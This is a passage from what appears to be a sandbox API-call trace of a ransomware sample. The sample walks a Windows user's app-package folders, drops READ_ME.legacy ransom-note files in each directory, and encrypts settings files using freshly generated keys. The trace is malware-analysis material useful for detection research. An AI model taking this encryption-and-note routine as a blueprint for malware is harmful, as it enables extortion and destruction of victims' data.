"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c [0161.579] WriteFile (in: hFile=0x122c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.580] CloseHandle (hObject=0x122c) returned 1 [0161.580] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152b40a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.580] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c [0161.581] WriteFile (in: hFile=0x122c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.582] CloseHandle (hObject=0x122c) returned 1 [0161.582] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152bdcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.582] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c [0161.582] WriteFile (in: hFile=0x122c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.583] CloseHandle (hObject=0x122c) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.583] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152c735, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152c735, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.584] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0fb524, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152d29c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61d18 [0161.584] FindNextFileW (in: hFindFile=0x2f61d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0fb524, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152d29c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x2f61d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x2f61d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.584] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152db4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62058 [0161.584] FindNextFileW (in: hFindFile=0x2f62058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152db4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x2f62058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.584] FindNextFileW (in: hFindFile=0x2f62058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.584] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61b58 [0161.585] FindNextFileW (in: hFindFile=0x2f61b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.585] FindNextFileW (in: hFindFile=0x2f61b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe8bec4c, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0x6cd1c887, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x6cd1c887, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Alarms", cAlternateFileName="")) returned 1 [0161.585] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Alarms\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localstate\\alarms\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1238 [0161.608] WriteFile (in: hFile=0x1238, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.609] CloseHandle (hObject=0x1238) returned 1 [0161.609] FindNextFileW (in: hFindFile=0x2f61b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe9a3b7f, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xbe9c9cef, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Clocks", cAlternateFileName="")) returned 1 [0161.609] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Clocks\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localstate\\clocks\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1238 [0161.611] WriteFile (in: hFile=0x1238, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.612] CloseHandle (hObject=0x1238) returned 1 [0161.612] FindNextFileW (in: hFindFile=0x2f61b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.612] FindNextFileW (in: hFindFile=0x2f61b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.612] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1649d0c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61e98 [0161.613] FindNextFileW (in: hFindFile=0x2f61e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1649d0c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.613] FindNextFileW (in: hFindFile=0x2f61e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.613] FindNextFileW (in: hFindFile=0x2f61e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.613] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61ed8 [0161.613] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.613] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.613] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0fb524, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea0fb524, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xea0fb524, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.614] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea062a65, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbad767dc, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xbad767dc, ftLastWriteTime.dwHighDateTime=0x1d32747, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.614] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ba1734c, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x7ba1734c, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x7ba1734c, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0161.614] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ba1734c, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x7ba1734c, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x7ba1734c, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0161.614] FindNextFileW (in: hFindFile=0x2f61ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ba1734c, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x7ba1734c, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x7ba1734c, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0161.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.646] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240 [0161.646] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.646] ReadFile (in: hFile=0x1240, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.646] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.646] WriteFile (in: hFile=0x1240, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.646] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.647] WriteFile (in: hFile=0x1240, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.650] WriteFile (in: hFile=0x1240, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.650] CloseHandle (hObject=0x1240) returned 1 [0161.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0161.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240 [0161.654] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.654] ReadFile (in: hFile=0x1240, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 